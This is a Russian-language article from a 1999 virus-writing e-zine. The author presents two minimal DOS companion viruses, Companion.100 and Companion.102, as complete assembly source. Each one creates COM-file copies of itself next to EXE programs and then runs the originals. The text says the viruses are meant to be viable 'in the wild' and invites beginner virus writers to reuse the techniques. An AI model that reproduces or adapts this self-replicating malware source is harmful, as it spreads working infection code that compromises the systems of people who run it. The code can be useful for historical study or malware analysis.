- [Duke's Virus Labs #8] - [Page 12] - Companion.100,102 (c) by CrkV Помнится тут уже не раз были представлены компаньон вирусы. Но все они так сказать, были журнальными и для дикой природы не годились. И тогда я решил написать полноценный компаньон, чтоб он не только мог создавать свои копии, но также и файлы запускать, и при этом еще и параметры им передавать. Вообщем, за короткое время я написал более десятка версий от 85 байт. На ваш суд представляю 2 версии длиной 100 и 102 байта, которые на мой взгляд наиболее работоспособны при минимальности кода. Конечно существует целый класс резидентных компаньонов длиной от 72 байт и выше, но в данном случае не о них разговор. Теперь подробнее о вирях. После их запуска, они создают для EXE-файлов свои копии (по одной за раз под MD 9x) c расширением COM, естественно если такого файла нет. После чего они пытаются запустить одноименный файл, с расширением EXE, не забыв при этом передать ему полученный параметры. Единственное их отличие, это доступ к своему имени. Companion.100 берет его из окружения DOS (сегмент которого находиться в PSP:02Ch), а 102 - из стека DOS. (Идея не моя, и почерпнута мной в обсуждения "самоидентификация в обход enviroment" в конференции RELCOM.COMP.VIRUS. Автора к сожалению указать не могу). Кстати, получение своего имени прогой может заинтересовать начинающих вирмейкеров и для написании вирей другого класса. Так что пользуйтесь на здоровье, единственная просьба, не вставляйте без надобности в своих зверей деструкцию. ===== begin comp100b.asm ===== ;Comp.100 (c) 1999 by CrkV Model Tiny .code .386 Org 100h Comp: db '*.EXE' ;Sub Ch,[Adr], Inc Bp dw 00h ;CmdLine for function 4Bh Int 21h dw 80h db 00h Xchg Cx,Ax ;Cx:=0 Mov Bh,10h ;Bl=00h Mov Dx,Bx ;Dx:=1000h (New DTA) Mov Ah,1Ah Int 21h ;Set DTA Mov Ah,4Ah Int 21h ;Set Memory Block (Es=PSP, Bx=1000h) Mov Ah,4Eh ;Find First File @FindFile: @WriteFile: Mov Di,101Eh Mov Dx,Si ;Dx:=100h Int 21h ;Find File (Write File) Jnc @Ok @Exit: Mov Es,Ds:[02Ch] ;PSP:2Ch - Segment DOS enviroment Sub Di,Di Mov Ax,4B00h Mov Ch,0FFh @NotWord0: Repne ScaSB ;Cmp Al,Es:[Di],Di:=Di+1 ScaSB Jne @NotWord0 CmpSW ;ignore count of additional string (Di:=Di+2) ;also Si:=102h ('EXE') Mov Dx,Di ;Dx:=Offset FileName Repne ScaSB ;Find end of ASCIIZ string Sub Di,04h MovSW ;'EXE' MovSB Mov Bx,Si ;Bx:=105h Mov Ds:[Bx+4],Cs Push Es Ds Pop Es Ds ;Xchg Es,Ds Int 21h ;Exec (Ax=4B00h) Ret @OK: Mov Dx,Di Mov Ax,5B2Eh @Loop: ScaSB ;Al='.' Jne @Loop Mov DWord Ptr [Di],006D6F63h ;'com',00h Int 21h ;Ah=5Bh (Create File) Xchg Bx,Ax ;Bx:= File handle Mov Ah,4Fh ;Find Next File Jc @FindFile Mov Ah,40h ;Write File Mov Cl,VirLength ;Ch=0 Jmp Short @WriteFile VirLength EQU $ - Comp End Comp ===== end comp100b.asm ===== ===== begin comp102.asm ===== ;Comp.102 (c) 1999 by CrkV Model Tiny .code .386 Org 100h Comp: db '*.EXE' ;Sub Ch,[Adr], Inc Bp (also *.E*) Param dw 00h ;CmdLine for function 4Bh Int 21h dw 80h db 00h Xchg Cx,Ax ;Cx:=0 Mov Bh,10h ;Bl=00h Mov Dx,Bx ;Dx:=1000h (New DTA) Mov Ah,1Ah Int 21h ;Set DTA Mov Ah,4Ah Int 21h ;Set Memory Block (Es=PSP, Bx=1000h) Mov Ah,4Eh ;Find First File @FindFile: @WriteFile: Mov Di,101Eh Mov Dx,Si ;Dx:=100h Int 21h ;Find File (Write File) Jnc @Ok @Exit: Mov Ax,1203h Int 2Fh ;Ds:= Dos Segment LEs Di,Ds:[Bp-1Bh] ;Es:Di - Cmd Line Mov Dx,Di Mov Al,'.' Dec Cx ;Cx:=0FFFFh Repne ScaSB Push Cs Es Pop Ds Es Mov DWord Ptr [Di],'EXE' Mov Ax,4B00h Mov Bx,Offset Param Mov Es:[Bx+4],Cs Int 21h ;Exec (Ax=4B00h) Ret @OK: Mov Dx,Di Mov Ax,5B2Eh @Loop: ScaSB ;Al='.' Jne @Loop Mov DWord Ptr [Di],006D6F63h ;'com',00h Int 21h ;Ah=5Bh (Create File) Xchg Bx,Ax ;Bx:= File handle Mov Ah,4Fh ;Find Next File Jc @FindFile Mov Ah,40h ;Write File Mov Cl,VirLength ;Ch=0 Jmp Short @WriteFile VirLength EQU $ - Comp End Comp ===== end comp102.asm =====